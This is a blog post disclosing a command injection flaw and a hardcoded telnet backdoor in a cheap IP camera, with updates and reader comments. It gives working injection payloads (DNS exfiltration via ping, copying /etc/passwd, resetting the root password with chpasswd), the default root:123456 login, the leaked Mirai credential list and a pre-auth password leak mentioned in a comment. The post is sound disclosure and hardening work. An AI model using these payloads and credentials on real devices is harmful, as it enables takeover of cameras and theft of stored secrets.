Saturday, September 26, 2015

How I hacked my IP camera, and found this backdoor account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the cheapest among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem, because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch it's output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course. 

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password is sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in 
"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong and China. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped
The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27 page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately it was not working at all, I got invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems which made the exploitation harder. I call this vulnerability double blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleeps was not a real solution.
But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:
or cleaned up after URL decode:
$(ping -c 2 `pwd`)
but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

Following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.
$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS
After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double blind hack was a bit too much for this automated tool unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.
$(echo 'root:passwd'|chpasswd)
Now, logging in via telnet
(none) login: root

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/
/system/system/bin/ftp -n<<!
open 21
user ftpuser $(echo 'root:passwd'|chpasswd)
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panick that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password. 


Unfortunately there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.
With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising. 

My hardening list

I added these lines to the end of /system/init/
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/
iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network, and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

  • Investigate the script /system/system/bin/gmail_thread
  • Investigate the cloud protocol * - see update 2016 10 27
  • Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn
A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump. 

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr Robot you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this. 

Update: as you can see on the following screenshot, the bad guys already started to take advantege of this issue ...

Update 20161006: The Mirai source code has been leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root     xc3511
root     vizxv
root     admin
admin    admin
root     888888
root     xmhdipc
root     default
root     juantech
root     123456
root     54321
support  support
root     (none)
admin    password
root     root
root     12345
user     user
admin    (none)
root     pass
admin    admin1234
root     1111
admin    smcadmin
admin    1111
root     666666
root     password
root     1234
root     klv123
Administrator admin
service  service
supervisor supervisor
guest    guest
guest    12345
guest    12345
admin1   password
administrator 1234
666666   666666
888888   888888
ubnt     ubnt
root     klv1234
root     Zte521
root     hi3518
root     jvbzd
root     anko
root     zlxx.
root     7ujMko0vizxv
root     7ujMko0admin
root     system
root     ikwb
root     dreambox
root     user
root     realtek
root     00000000
admin    1111111
admin    1234
admin    12345
admin    54321
admin    123456
admin    7ujMko0admin
admin    1234
admin    pass
admin    meinsm
tech     tech
mother   fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera, if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, but now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video :
Slides (29 - )

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a huge list of cameras (especially the InfoLeak and the RCE),
which allow to execute root commands against 1250+ camera models with a pre-auth vulnerability. "

Update 2017-05-11: CVE-2017-5674 (see above) and my command injection exploit was combined in the Persirai botnet. 120 000 cameras is expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm, because this effects cameras and other IoT behind NAT where UPNP was enabled.


  1. Nice work.
    I often wonder why they (the developers) pick such rubbish passwords! But then whatever was picked it would be found with a core dump or other exploitable hardware attack...
    I often think there's a hardware solution, but then you realise that adding even one dipswitch would up the cost massively! Perhaps a plugboard would give a decent solution. But since an attacker can likely try a thousand plus passwords a second for years without detection, would even that work?

    1. The developers are the cheapest nephew scripter the subcontractor could find. Or perhaps that guy in the dinner across the street who has an I <3 Emacs sticker.
      Is well known that security doesn't sell to 99% of the market. All the big breaches have negligible impact to corporate earnings for giants -- how could Chinese cut rate manufacturers do better?

      Anyway, get the raspberry pi camera rather than USB; the control and performance through the camera/GPU interface is well worth it!

    2. Actually, it doesn't need to be as easy as pulling the password out of flash. If they would have used a strong password AND stored it as a secure hash with a actual random salt, then there would at least be a huge barrier to cracking the password.

  2. Cool, I think I've hacked one of these before. If it's the same thing I saw, there was a command injection in del_file.cgi.

  3. Looks like an EM6220. Which other brands and types might contain the same vuln, interesting... don't think this vendor has developed everything in-house.

    1. I can neither confirm nor deny this is an EM6220. But if you google the hash of the password along with IP camera, you can find quite a lot of other vendors are affected.

    2. The camera is EMINENT EM6220

      1. The picture (obviously)
      2. The online manual has precisely 27 pages

      This is far from responsible disclosure…

  4. Similar findings (for IZON cameras, that is) from a buddy:

    1. Awesome, thanks for sharing :)

    2. The camera is EMINENT EM6220

      1. The picture (obviously)
      2. The online manual has precisely 27 pages

      This is far from responsible disclosure…

  5. The picture posted is of an Eminent EM6220: While one would simply assume the author used a random photo to showcase a sample IP camera, since the author blurred out the name on the camera that would show that it's the photo of the actual camera. But while this article is on the EM6220 the author also notes it affects other cameras.

  6. Nice shell injection work. I guess people shouldn't really use shell.

    I don't like this connection with a 3rd party server business:

  7. This is a standard camera board that seems to be reused in multiple different branded cameras with similar firmware. Here's a write up where I got the password from firmware analysis for a camera I got from Aldi:

    Nice find on the command injection though, I didn't even think of trying that! I need to dig the Aldi camera out of my box of IoT crap and check whether it's also vulnerable!

    And yes, you can cross compile nmap and netcat for it - though you don't have much storage space!

    1. You can also get data back from the command injection: just put it in the user parameter and set up your ftp server to log all login requests :-)

  8. Okay, will try this for office's camera... :)

  9. I brute-forced the telnet a while ago hoping to dig out the decoder_control.cgi and camera_control.cgi but I cannot find them anywhere. I tried to mount the additional mtdblock devices to see if they are in a read only boot rom but they won' load.
    Anyone else had any luck with this?

  10. Hi.

    Can i use this camera video for Zoneminder ?

  11. Yep. Found all the passwords from the camera via telnet.

  12. Hi,
    I have a "hosafe" nvr and i like root password.
    pls help me!

  13. Did anybody analyze the UDP cloud protocol? To get my p2p cam (doorbell) working as i want, i need to decrypt the protocol and build my own "server".

  14. Hi,
    Is it possible to block the cloud services from ROUTER?
    I don;t like the idea that anyone can have have access to my camera, I prefer to use my camera local or via VPN tunnel.

  15. I'm with "Marie's erster Blog". I'd like to setup my own server for this. I am able to intercept the keep-alives, but need to know the payload to trigger the UDP tunnel. The cloud server that my ip camera came preconfigured with is unreachable, so I can't even do a trial run to see what they are sending back.


  16. # netstat -na
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address Foreign Address State
    tcp 0 0* LISTEN
    tcp 0 0* LISTEN
    tcp 0 0* LISTEN
    tcp 0 0* LISTEN
    tcp 0 0* LISTEN
    tcp 0 0 ESTABLISHED

  17. This comment has been removed by the author.

  18. Hi, nice writeup about these IoT nightmares. For update 2017-03-08 pre-auth vuln:
    I've also found an other interesting pre-auth vuln which makes it possible to get access for the RCE super easily. Just "GET login.cgi" (without the leading "/") and you get the admin password as cleartext. :)

    This writeup is a little bit confusing, but contains the disclosure:

  19. Hello, congrats it's a nice article, I did the same hack with an Escam camera back in 2015. The only difference was that I asked the Chinese manufacturer for a firmware upgrade. They just sent it so I could look into it, seeing the file system so I extracted the /etc/passwd from that fs. :-D

    I still have the camera (not connected to my local network) and recently I wondering to make use of it somehow. So it'd be nice to - after revealing the facts how bad are these little cameras - looking for a kind of a solution. Ordinary people think totally insecure like "hey, this food is toxic but it's soooo cheap" :-) If we can't change their mindset then let's propose a proper secure solution for the problem that someone want to see the home garden from an Android phone - just because it's a justifiable demand nowadays. In other words, you showed that using a cheap Chinese cam out of the box is a bad idea, so what's next? Thanks.

  20. Hi. May i know if you are able to hack my IP camera to retrieve backdated footage? I believe some of the footage was recorded but i cant retrieve it because it has seemingly been 'deleted'. Do PM me for more details. I am keen to compensate as there are some evidence on this footage which we are very keen on retrieving!
    Thanks !

  21. check these out
    ls /sbin openl2tpd
    vconfig mkdosfs
    udhcpc lsmod
    syslogd logread
    sysctl klogd
    route insmod
    rmmod init
    reboot ifconfig
    radvd halt
    poweroff fdisk

  22. It was just after midnight 17th Sept 17 and I was woken by the sound of the camera panning.

    I logged on to the Yoosee App on my mobile phone device to see it panning around left right ect. I then panned the camera in the opposing direction and it panned back. I then noted it said 2 audiences. I then panned the camera to the ceiling and it was then the audience went to 1.

    I immediately went to the camera and disconnected the power supply.

    I am the only user of the camera and app. I have passwords on my router and for camera App (different of course)

    I'll take your advice....throwing camera in the bin and deleting apps